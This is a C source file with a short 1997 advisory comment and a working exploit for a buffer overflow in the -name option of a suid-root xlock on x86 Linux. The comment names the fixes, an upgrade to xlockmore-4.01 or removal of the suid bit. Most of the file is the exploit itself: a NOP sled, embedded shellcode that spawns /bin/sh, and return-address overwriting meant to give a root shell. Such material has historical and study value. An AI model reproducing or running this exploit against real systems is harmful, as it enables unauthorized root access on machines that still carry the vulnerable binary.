/* There appears to be an exploitable buffer overflow in xlock, the X based
   screensaver/locker.  Xlock is installed suid root on machines with
   shadowed passwords.  I have verified this on xlock versions on AIX 4.x and
   Linux (exploit for Linux posted below), but I cannot determine what
   version I was using, as xlock does not seem to contain version information
   in the binary and I don't have the original source.  The overflow is in
   the -name parameter, and it is fixed in xlockmore-4.01, available on
   sunsite in /pub/Linux/X11/screensavers/xlockmore-4.01.tgz .  Other
   platforms have not been checked for this, and while this is an older
   version of xlock, many systems seem to come preloaded with this version.
   Also, xlock does not need to be suid root unless it is running on a
   machine with shadowed passwords, so another possible fix it chmod u-s xlock.
*/



/*   x86 XLOCK overflow exploit
     by cesaro@0wned.org 4/17/97

     Original exploit framework - lpr exploit

     Usage: make xlock-exploit
            xlock-exploit  <optional_offset>

     Assumptions: xlock is suid root, and installed in /usr/X11/bin
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             996

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

int main(int argc, char *argv[])
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
   int dfltOFFSET = DEFAULT_OFFSET;

   u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
                        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
                        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
                        "\xd7\xff\xff\xff/bin/sh";
   int i;

   if (argc > 1)
      dfltOFFSET = atoi(argv[1]);
   else printf("You can specify another offset as a parameter if you need...\n");

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + dfltOFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/X11/bin/xlock", "xlock", "-nolock", "-name", buff, NULL);
}

